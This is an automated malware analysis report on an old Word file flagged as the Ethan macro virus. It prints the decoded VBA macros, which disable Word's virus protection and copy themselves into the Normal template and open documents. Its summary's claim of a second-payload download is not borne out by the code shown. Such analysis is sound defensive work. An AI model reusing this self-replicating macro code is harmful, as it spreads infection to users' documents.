Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42ff7f362c5c349b…

MALICIOUS

Office (OLE)

37.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f5b477ffad6a62d647a12bdb1c5b4d0b SHA-1: 4ff0c68aae5e2b314a2b599485605cb30672aebf SHA-256: 42ff7f362c5c349be7362f502e47e6003d8fadcddfcee47f63ecfa95d18ea2d3
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and Document_Open, which are commonly used to execute malicious code upon opening. The script attempts to disable macro security warnings and writes to a temporary file 'c:\evolve.tmp', suggesting it is preparing to download and execute a secondary payload. The presence of legacy WordBasic markers and the ClamAV detections (Win.Trojan.Pivis-2, Doc.Trojan.Ethan-3) further indicate malicious intent.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11447 bytes
SHA-256: f2c1e1011da659c216dca0f21c4d9c4d5a1cd6860e7033505d54d3b3a4e9b872
Detection
ClamAV: Doc.Trojan.Ethan-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
With Options:
    .ConfirmConversions = False:
    .VirusProtection = False:
    .SaveNormalPrompt = False:
    .SavePropertiesPrompt = False:
End With
s = ActiveDocument.Saved
sName = "c:\evolve.tmp"
sFunc = "Private Sub Document_Open()"
Found = False
If Dir(sName) <> "" Then Kill sName
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    If Found = False And (a = sFunc) Then Found = True
.replaceline 1, "Sub AutoOpen()"
    If a = "End Sub" And Found = True Then Found = False
Next i
.replaceline 28, "Sub ToolsMacro()"
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
Sub ToolsMacro()
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
    t = t + 2
End If
If t > 0 Then
    Open sName For Input As #1
    If LOF(1) = 0 Then GoTo quit
    i = 1
    Do While Not EOF(1)
        Line Input #1, a
        If t = 1 Or t = 3 Then
            nml.CodeModule.InsertLines j, a
            j = j + 1
        End If
        If t = 2 Or t = 3 Then
            atv.CodeModule.InsertLines k, a
            k = k + 1
        End If
    Loop
quit:
    Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
    .Title = "Ethan Frome":
    .Author = "EW/LN/CB":
    .Keywrds = "Ethan":
    .Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill sName
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error GoTo ou: Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
Set NTVBC = NormalTemplate.VBProject.VBComponents.Item(1): Set ADVBC = ActiveDocument.VBProject.VBComponents.Item(1)
ad = ADVBC.CodeModule.CountOfLines: nt = NTVBC.CodeModule.CountOfLines: EXPFN = Environ("temp") & "\~CL7610_2.~MP"
If nt > 28 And ad > 28 Then GoTo ou
If nt < 29 Then
    Set dhst = NTVBC
    Set shst = ADVBC
Else
    Set dhst = ADVBC
    Set shst = NTVBC
End If
shst.Name = dhst.Name
shst.Export (EXPFN)
With dhst.CodeModule
.AddFromFile (EXPFN)
.deletelines 1, 4
temp$ = .Lines(1, 1)
.replaceline 1, "Sub AutoOpen()"
.replaceline 19, ".replaceline 1," & Chr$(34) & temp$ & Chr$(34)
temp$ = .Lines(28, 1)
.replaceline 28, "Sub ToolsMacro()"
.replaceline 22, ".replaceline 28," & Chr$(34) & temp$ & Chr$(34)
End With
Kill (EXPFN)
ou:
End Sub
Sub ViewVBCode()
End Sub

' Processing file: /opt/analyzer/scan_staging/454a8fd64ae04d39993f3d6477e932db.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5607 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' Line #4:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' Line #5:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' Line #6:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' Line #7:
' 	LitVarSpecial (False)
' 	MemStWith SavePropertiesPrompt 
' 	BoS 0x0000 
' Line #8:
' 	EndWith 
' Line #9:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #10:
' 	LitStr 0x000D "c:\evolve.tmp"
' 	St sName 
' Line #11:
' 	LitStr 0x001B "Priv
... (truncated)

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